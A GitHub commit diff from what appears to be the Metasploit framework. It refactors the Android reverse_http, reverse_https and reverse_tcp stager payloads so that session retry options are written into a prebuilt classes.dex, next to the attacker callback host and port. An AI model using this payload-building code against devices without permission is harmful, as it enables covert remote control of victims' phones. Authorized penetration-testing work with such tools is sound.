Skip to content

Commit e7c8a3b

Browse files
committed
add support for SessionRetryTotal and SessionRetryWait on Android
1 parent 84060bb commit e7c8a3b

File tree

4 files changed

+11
-18
lines changed

4 files changed

+11
-18
lines changed

lib/msf/core/payload/dalvik.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,11 @@ def java_string(str)
3131
[str.length].pack("N") + str
3232
end
3333

34+
def apply_options(classes)
35+
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
36+
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
37+
end
38+
3439
def string_sub(data, placeholder="", input="")
3540
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
3641
end

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -24,11 +24,6 @@ def initialize(info = {})
2424
'Handler' => Msf::Handler::ReverseHttp,
2525
'Stager' => {'Payload' => ""}
2626
))
27-
28-
register_options(
29-
[
30-
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
31-
], self.class)
3227
end
3328

3429
def generate_jar(opts={})
@@ -40,7 +35,8 @@ def generate_jar(opts={})
4035

4136
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
4237
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
43-
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
38+
apply_options(classes)
39+
4440
jar.add_file("classes.dex", fix_dex_header(classes))
4541

4642
files = [

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -24,11 +24,6 @@ def initialize(info = {})
2424
'Handler' => Msf::Handler::ReverseHttps,
2525
'Stager' => {'Payload' => ""}
2626
))
27-
28-
register_options(
29-
[
30-
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
31-
], self.class)
3227
end
3328

3429
def generate_jar(opts={})
@@ -40,7 +35,8 @@ def generate_jar(opts={})
4035

4136
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
4237
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
43-
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
38+
apply_options(classes)
39+
4440
jar.add_file("classes.dex", fix_dex_header(classes))
4541

4642
files = [

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -26,11 +26,6 @@ def initialize(info = {})
2626
'Handler' => Msf::Handler::ReverseTcp,
2727
'Stager' => {'Payload' => ""}
2828
))
29-
30-
register_options(
31-
[
32-
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
33-
], self.class)
3429
end
3530

3631
def generate_jar(opts={})
@@ -40,7 +35,8 @@ def generate_jar(opts={})
4035

4136
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
4237
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
43-
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
38+
apply_options(classes)
39+
4440
jar.add_file("classes.dex", fix_dex_header(classes))
4541

4642
files = [

0 commit comments

Comments
 (0)